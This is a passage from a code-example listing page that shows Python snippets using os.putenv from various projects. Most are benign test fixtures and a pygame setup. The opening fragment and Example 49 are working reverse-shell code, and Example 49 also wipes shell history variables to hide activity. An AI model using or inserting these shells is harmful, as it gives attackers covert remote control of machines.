    olderr = os.dup(2)
    os.dup2(sock.fileno(),0)
    os.dup2(sock.fileno(),1)
    os.dup2(sock.fileno(),2)
    #os.putenv("HISTFILE",'/dev/null')

    #Shellz!
    pty.spawn(shellExe)

    # cleanup
    os.dup2(oldin,0)
    os.dup2(oldout,1)
    os.dup2(olderr,2) 
Example 43
Project: obsoleted-vpduserv   Author: InfraSIM   File: test_replwrap.py    (license) View Source Project 5 votes vote down vote up
def setUp(self):
        super(REPLWrapTestCase, self).setUp()
        self.save_ps1 = os.getenv('PS1', r'\$')
        self.save_ps2 = os.getenv('PS2', '>')
        os.putenv('PS1', r'\$')
        os.putenv('PS2', '>') 
Example 44
Project: obsoleted-vpduserv   Author: InfraSIM   File: test_replwrap.py    (license) View Source Project 5 votes vote down vote up
def tearDown(self):
        super(REPLWrapTestCase, self).tearDown()
        os.putenv('PS1', self.save_ps1)
        os.putenv('PS2', self.save_ps2) 
Example 45
Project: ATLeS   Author: liffiton   File: pygame_test.py    (license) View Source Project 5 votes vote down vote up
def get_screen(xwin=False):
    """Initializes a new pygame screen using the framebuffer"""
    # Based on "Python GUI in Linux frame buffer"
    # http://www.karoltomala.com/blog/?p=679
    disp_no = os.getenv("DISPLAY")
    if disp_no:
        print "I'm running under X display = {0}".format(disp_no)

    # Make sure that SDL_VIDEODRIVER is set
    if xwin:
        driver = 'x11'
    else:
        driver = 'directfb'   # alternatives: 'fbcon', 'svgalib'
    if not os.getenv('SDL_VIDEODRIVER'):
        os.putenv('SDL_VIDEODRIVER', driver)

    try:
        pygame.display.init()
    except pygame.error:
        raise Exception('Display init failed with driver: {0}'.format(driver))

    if xwin:
        size = (320, 200)
        options = 0
    else:
        # fullscreen
        info = pygame.display.Info()
        size = (info.current_w, info.current_h)
        print "Framebuffer size: %d x %d" % (size[0], size[1])
        options = pygame.FULLSCREEN | pygame.DOUBLEBUF
    screen = pygame.display.set_mode(size, options)

    # Clear the screen to start
    screen.fill((0, 0, 0))
    pygame.mouse.set_visible(False)
    # Render the screen
    pygame.display.update()

    return screen 
Example 46
Project: pefile.pypy   Author: cloudtracer   File: test_subprocess.py    (license) View Source Project 5 votes vote down vote up
def test_preexec(self):
        # preexec function
        p = subprocess.Popen([sys.executable, "-c",
                              "import sys, os;"
                              "sys.stdout.write(os.getenv('FRUIT'))"],
                             stdout=subprocess.PIPE,
                             preexec_fn=lambda: os.putenv("FRUIT", "apple"))
        self.addCleanup(p.stdout.close)
        self.assertEqual(p.stdout.read(), "apple") 
Example 47
Project: ouroboros   Author: pybee   File: test_subprocess.py    (license) View Source Project 5 votes vote down vote up
def test_preexec(self):
        # DISCLAIMER: Setting environment variables is *not* a good use
        # of a preexec_fn.  This is merely a test.
        p = subprocess.Popen([sys.executable, "-c",
                              'import sys,os;'
                              'sys.stdout.write(os.getenv("FRUIT"))'],
                             stdout=subprocess.PIPE,
                             preexec_fn=lambda: os.putenv("FRUIT", "apple"))
        self.addCleanup(p.stdout.close)
        self.assertEqual(p.stdout.read(), b"apple") 
Example 48
Project: ndk-python   Author: gittor   File: test_subprocess.py    (license) View Source Project 5 votes vote down vote up
def test_preexec(self):
        # preexec function
        p = subprocess.Popen([sys.executable, "-c",
                              "import sys, os;"
                              "sys.stdout.write(os.getenv('FRUIT'))"],
                             stdout=subprocess.PIPE,
                             preexec_fn=lambda: os.putenv("FRUIT", "apple"))
        self.addCleanup(p.stdout.close)
        self.assertEqual(p.stdout.read(), "apple") 
Example 49
Project: VulScript   Author: y1ng1996   File: back.py    (license) View Source Project 5 votes vote down vote up
def main():
    if len(sys.argv) !=3:
        usage(sys.argv[0])
        sys.exit()
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((sys.argv[1],int(sys.argv[2])))
        print 'connect ok'
    except:
        print 'connect faild'
        sys.exit()
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    os.unsetenv("HISTSIZE")
    os.unsetenv("HISTORY")
    os.unsetenv("HISTSAVE")
    os.unsetenv("HISTZONE")
    os.unsetenv("HISTLOG")
    os.unsetenv("HISTCMD")
    os.putenv("HISTFILE",'/dev/null')
    os.putenv("HISTSIZE",'0')
    os.putenv("HISTFILESIZE",'0')
    pty.spawn(shell)
    s.close() 
Example 50
Project: dpr-api   Author: oki-archive   File: test_controller.py    (license) View Source Project 5 votes vote down vote up
def create_app(self):
        os.putenv('STAGE', '')
        return create_app()